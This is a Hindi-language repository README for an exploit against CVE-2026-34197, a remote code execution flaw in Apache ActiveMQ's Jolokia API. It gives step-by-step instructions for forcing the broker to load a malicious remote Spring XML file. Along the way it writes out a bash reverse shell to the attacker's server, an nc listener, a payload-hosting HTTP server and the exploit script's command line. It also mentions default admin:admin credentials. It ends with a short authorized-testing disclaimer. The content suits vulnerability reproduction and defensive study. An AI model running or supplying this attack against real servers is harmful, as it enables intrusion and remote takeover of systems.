
CVE-2026-34197 के लिए एक्सप्लॉइट स्क्रिप्ट, जो Apache ActiveMQ के Jolokia API को लक्षित करके दुर्भावनापूर्ण Spring XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन प्राप्त करती है, जिसमें रिवर्स शेल क्षमता शामिल है।
यह रिपॉजिटरी Apache ActiveMQ द्वारा उजागर किए गए Jolokia API इंटरफ़ेस (/api/jolokia/) पर आधारित रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के पुनरुत्पादन के लिए एक वातावरण और शोषण स्क्रिप्ट प्रदान करता है।
addNetworkConnector ऑपरेशन को कॉल करके, ActiveMQ को दुर्भावनापूर्ण रूप से निर्मित रिमोट Spring XML कॉन्फ़िगरेशन फ़ाइल को पार्स करने के लिए मजबूर किया जाता है, जिससे MethodInvokingFactoryBean के माध्यम से सिस्टम कमांड निष्पादित किए जाते हैं।
payload.py: मुख्य शोषण स्क्रिप्ट, जो गतिशील Broker नाम के साथ HTTP POST अनुरोध भेजती है।payload.xml: दुर्भावनापूर्ण Spring Bean कॉन्फ़िगरेशन फ़ाइल, जिसमें रिवर्स शेल का कमांड पेलोड शामिल है।pip install requests
apache/activemq-classic:6.1.0 Docker इमेज)।payload.xml)आक्रमण मशीन पर payload.xml खोलें और निम्नलिखित भाग ढूंढें:
<value>bash -c 'bash -i >& /dev/tcp/आपका-क्लाउड-सर्वर-IP/15000 0>&1'</value>
इसमें IP को अपने क्लाउड सर्वर के सार्वजनिक IP से बदलें। यदि लक्ष्य वातावरण में bash उपलब्ध नहीं है, तो लक्ष्य वातावरण के अनुसार इसे sh या अन्य निष्पादन विधि में बदलें।
आक्रमण मशीन (क्लाउड सर्वर) पर एक टर्मिनल खोलें और निर्दिष्ट पोर्ट (जैसे 15000) पर सुनें:
nc -lvvp 15000
ध्यान दें: सुनिश्चित करें कि क्लाउड सर्वर के सुरक्षा समूह/फ़ायरवॉल ने इनबाउंड TCP 15000 पोर्ट को अनुमति दी है।
आक्रमण मशीन पर (payload.xml के समान निर्देशिका में), लक्ष्य को XML फ़ाइल डाउनलोड करने के लिए एक HTTP सर्वर शुरू करें:
python3 -m http.server 9000
ध्यान दें: यह भी सुनिश्चित करें कि क्लाउड सर्वर के सुरक्षा समूह/फ़ायरवॉल ने इनबाउंड TCP 9000 पोर्ट को अनुमति दी है।
स्थानीय मशीन (या आक्रमण मशीन) पर payload.py चलाएँ।
स्क्रिप्ट कमांड-लाइन तर्कों के माध्यम से लक्ष्य ActiveMQ का IP:पोर्ट (-t) और आक्रमण मशीन द्वारा होस्ट किए गए XML का IP:पोर्ट (-a) स्वीकार करती है।
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
चलाने के बाद, स्क्रिप्ट स्वचालित रूप से एक यादृच्छिक brokerName (जैसे rce_a1b2c3) उत्पन्न करेगी, ताकि java.io.IOException : Network Connector could not be registered in JMX नाम संघर्ष त्रुटि को पूरी तरह से हल किया जा सके।
यदि शोषण सफल होता है:
python3 -m http.server 9000) /payload.xml के लिए एक GET 200 अनुरोध रिकॉर्ड दिखाएगा।nc सुनने वाला टर्मिनल लक्ष्य मशीन से रिवर्स शेल कनेक्शन प्राप्त करेगा।/bin/bash कमांड उपलब्ध नहीं है (जैसे Alpine जैसी हल्की बेस इमेज में सामान्य)। कृपया payload.xml में निष्पादन कमांड को /bin/sh में बदलें, या wget/curl के माध्यम से स्क्रिप्ट डाउनलोड करके निष्पादित करें।admin:admin)।यह स्क्रिप्ट और निर्देश केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अध्ययन के लिए हैं। किसी भी अनधिकृत अवैध परीक्षण के लिए इसका उपयोग सख्त वर्जित है। उपयोगकर्ता अपने स्वयं के कार्यों के लिए जिम्मेदार है।